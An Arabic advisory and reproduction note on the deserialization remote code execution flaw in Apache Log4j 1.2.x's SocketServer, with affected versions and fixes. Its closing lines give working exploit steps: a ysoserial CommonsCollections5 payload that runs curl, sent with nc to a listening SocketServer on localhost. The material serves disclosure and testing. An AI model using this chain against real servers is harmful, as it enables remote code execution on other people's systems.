
يحتوي Apache Log4j 1.2.X على ثغرة تنفيذ التعليمات البرمجية عن بُعد عبر إلغاء التسلسل
الرابط المرجعي للتنبيه بالثغرة: https://mp.weixin.qq.com/s/okU2y0izfnKXXtXG3EfLkQ
Apache Log4j هي أداة تسجيل مفتوحة المصدر مبنية على Java تابعة لمؤسسة أباتشي (Apache) البرمجية الأمريكية. توجد ثغرة تنفيذ تعليمات برمجية عن بُعد عبر إلغاء التسلسل في سلسلة إصدارات Apache Log4j 1.2.X. يمكن للمهاجم استغلال هذه الثغرة لتنفيذ أي أوامر ضارة. تحتوي إصدارات Log4j 1.2.X على فئة SocketServer، وهذه الفئة تُخضع البيانات غير الموثوقة بسهولة لعملية إلغاء التسلسل؛ فعند الاستماع إلى حركة مرور شبكة غير موثوقة خاصّة ببيانات السجلات، وعند دمجها مع أدوات إلغاء التسلسل (gadgets)، يمكن استغلال هذه الفئة لتنفيذ أي كود عن بُعد. ويشمل التأثير أحدث إصدار حاليًا.
عالية الخطورة
نطاق التأثير 1.2.4 <= Apache Log4j <= 1.2.17(أحدث إصدار)
توصيات الإصلاح
الترقية إلى أحدث إصدار من سلسلة Apache Log4j 2
منع تعريض منفذ socket الذي تفتحه هذه الفئة إلى الإنترنت
منذ عصر Apache Log4j 2.8.1 كانت هناك ثغرة تنفيذ تعليمات برمجية عن بُعد عبر إلغاء التسلسل (CVE-2017-5645)، وكانت الفئة المسبِّبة للثغرة آنذاك هي org.apache.logging.log4j.core.net.server.TcpSocketServer، ومع الانتقال إلى عصر Apache Log4j 1.2.X أصبحت الفئة المسبِّبة للثغرة هي org.apache.log4j.net.SocketServer
من خلال البحث عبر الإنترنت، تبيّن أن طريقة تشغيل socketserver لإصدارات log4j 1.X تتم عبر أمر java وليس عبر كود Java مباشرة. (إذا كانت هناك طرق تشغيل أخرى، نرحّب بإخبارنا بها)
بالمثل، تحتاج إلى تنزيل حزم jar المتأثرة وحزم jar القادرة على تنفيذ الأكواد، ووضعها في متغيرات البيئة (فيما يلي بيئة Windows)، ثم تشغيل الخدمة مع تمرير 3 وسائط: رقم المنفذ، وملف إعدادات log4j، ومجلد lcf:
java -cp log4j-1.2.17.jar;c3p0-0.9.5.2.jar;mchange-commons-java-0.2.11.jar;commons-collections-3.1.jar org.apache.log4j.net.SocketServer 4560 log4jserver.properties ./
java -cp log4j-1.2.17.jar:../commons-collections/commons-collections-3.1.jar org.apache.log4j.net.SocketServer 4560 config/log4jserver.properties ./
java -jar ysoserial-master.jar CommonsCollections5 "curl http://127.0.0.1/ssrf/ssrf.php?rand=log4j" > log4j.curl.bin
nc 127.0.0.1 4560 < log4j.curl.bin
الحصول على حزم jar ذات الصلة: https://github.com/shadow-horse/Vulenvironment/libs